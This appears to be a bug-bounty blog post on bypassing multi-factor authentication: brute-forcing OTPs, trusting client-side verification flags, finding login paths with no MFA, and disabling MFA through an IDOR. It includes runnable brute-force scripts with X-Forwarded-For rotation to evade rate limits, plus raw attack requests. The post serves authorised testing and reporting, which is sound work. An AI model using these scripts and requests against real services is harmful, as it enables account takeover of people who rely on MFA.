Ramis. All writing

cybersecurity

Second Factor, First Failure: How MFA Gets Bypassed

2026-06-02·9 min read

Most MFA write-ups stop at "the OTP field had no rate limit, so you could brute force it." That is a finding, and on a good day it is a High. But it is rarely the interesting part. By the time you are looking at a verify endpoint you usually already own the first factor: you have the password from a reset flow, from credential stuffing that the programme allows, or from another bug earlier in the chain. The second factor is the only thing standing between you and the account, and the report that gets triaged Critical is the one where you walk through that factor and land inside the victim's session. This post is the method I use, split by the four failure classes I actually see, and every one of them has produced accepted submissions across YesWeHack, Intigriti and HackerOne programmes. None of it is clever. It is boring and repeatable, which is the whole point.

The precondition for all of it: I assume the password is already solved, whether from a reset flow, from credential stuffing the programme permits, or from an earlier bug in the chain. Everything below is about the factor that is supposed to save the account once the password has failed.

Why the second factor is softer than the first

Teams spend years hardening the password path. Lockouts, breached-password checks, CAPTCHA, anomaly detection. Then they bolt on TOTP or SMS OTP and treat "user typed six digits" as a binary gate that either passes or does not. The verify endpoint frequently misses the controls the login endpoint has, because it was written later, by a different person, under the assumption that anyone reaching it has already been vetted. That assumption is the bug. Every technique below is a variation on "the factor was enforced somewhere, just not everywhere it needed to be."

Step 1 - Brute force the OTP because nobody counted the guesses

A 6-digit numeric OTP is one million possibilities. That sounds like a lot until you do the arithmetic against the controls. If the code lives for 5 minutes and you can push 20,000 requests a second, you cover the whole space several times over inside the window. You almost never need the whole space. Expected hits land at half a million guesses, and most programmes I have tested cap the OTP lifetime but not the attempt count, so the real question is only how fast you can send.

The three things that make this feasible:

Here is the Turbo Intruder config I reach for first, single-connection last-byte sync to fire the batch together:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=100,
                           pipeline=False)
    for i in range(1000000):
        code = str(i).zfill(6)
        engine.queue(target.req, code, gate='race1')
    engine.openGate('race1')

def handleResponse(req, interception):
    if 'invalid' not in req.response.lower():
        table.add(req)

When I want to prove the header bypass specifically rather than raw speed, the Python version is clearer in the report:

import requests, threading

URL = "https://api.target/v2/mfa/verify"
SESSION = "eyJ..."  # half-authenticated cookie issued after the password step

def guess(code):
    r = requests.post(URL,
        headers={"Cookie": f"stage=mfa; sid={SESSION}",
                 "X-Forwarded-For": f"10.{(code >> 16) & 255}.{(code >> 8) & 255}.{code & 255}"},
        json={"otp": f"{code:06d}"})
    if r.status_code == 200 and "token" in r.text:
        print("HIT", code, r.text[:80])

threads = [threading.Thread(target=guess, args=(c,)) for c in range(0, 1000000)]
# throttle the pool in practice; shown flat for clarity

Rotating the client-supplied X-Forwarded-For on every request is what defeats a naive per-IP counter; masking each octet to a byte keeps the forged address valid. If the response body or timing differs on the correct code even when the session is not fully upgraded, note it, because that oracle sometimes leaks the code without a full success.

Step 2 - Let the client tell you it passed

The second class needs no brute force at all. The verify endpoint returns something the front end reads to decide whether MFA succeeded, and it trusts that value instead of the server's own session state. I have seen three shapes of this.

The response carries a flag the app believes:

HTTP/1.1 200 OK
Content-Type: application/json

{"mfa":"required","verified":false,"redirect":"/mfa"}

Flip verified to true in Burp's response interception, or set "mfa":"passed", and the SPA writes an authenticated state to storage and routes you in. The server issued a real session cookie at the password step and never re-checked it.

The app trusts the status code or the redirect. A 302 to /dashboard means success, a 200 on the MFA page means keep waiting, so you rewrite the status line or follow the post-2FA URL yourself.

And the plain version: forced browsing. The half-authenticated cookie from Step 1 already carries enough to hit protected endpoints directly. Skip the interstitial entirely:

curl -s https://api.target/v2/account/profile \
  -H "Cookie: stage=mfa; sid=eyJ..." | jq .

If that returns the victim's profile while the browser is still sitting on the OTP screen, the factor is decorative. The session was fully privileged before you ever typed a code; the MFA page was a front-end speed bump.

Step 3 - Find the door that has no lock

MFA gets enforced on the obvious login form and forgotten everywhere else. Enumerate every path that mints a session and test each one with an MFA-enabled account:

POST /login HTTP/1.1
Host: app.target
Content-Type: application/json
Cookie: rmd=dHJ1c3RlZDp1c2VyLTE4NDIy

{"email":"victim@target.tld","password":"<from earlier chain>"}

If rmd decodes to trusted:user-18422 and you can increment the id, you are choosing whose device is trusted.

Step 4 - Turn the factor off through the back door

The cleanest chain does not defeat MFA; it removes it. Find the endpoint that disables 2FA or resets the authenticator and check whether it demands a fresh factor or password. Very often it does not, because the developer assumed an already-authenticated session was proof enough. Combine that with an object-reference bug and you disable the victim's MFA with your own session:

POST /api/v2/users/18422/mfa/disable HTTP/1.1
Host: api.target
Authorization: Bearer <attacker token>
Content-Type: application/json

{}

If 18422 is the victim and the server does not re-authenticate or bind the action to your own id, the factor is gone and you log in with the password you already hold. This is where the two bugs multiply: the disable endpoint is weak, and it is also an IDOR. The full write-up of that object-level pattern is in IDOR to account takeover, and stapling it to a missing re-auth check is one of the highest-value chains I file.

Reporting so it gets paid

Lead with the impact sentence and make it about the account, not the endpoint: "An attacker who knows only the victim's password can fully authenticate as any user by disabling their MFA through an unauthorised POST that performs no re-authentication." Then give a clean two-account setup, one attacker and one MFA-protected victim, and the minimal raw HTTP for each request in the chain. Prove the finish with a single screenshot or short video of you inside the victim's session, not a 200 on the verify call. Triagers pay for demonstrated access, not for a theoretical gap.

Say plainly what the second factor was supposed to stop and show that it stopped nothing. If you used the brute-force path, include the math on lifetime versus attempt rate so the reviewer does not have to argue feasibility with themselves. If you rotated X-Forwarded-For, state that the limiter trusts a client-controlled header, because that is a second, separately fixable defect worth calling out.

The root-cause fixes to recommend, one per class:

Takeaways

Written by Muhammad Ramis, a software & AI engineer and OSCP+ penetration tester based in Nottingham, UK. Available for consultancy, contract and senior/staff roles.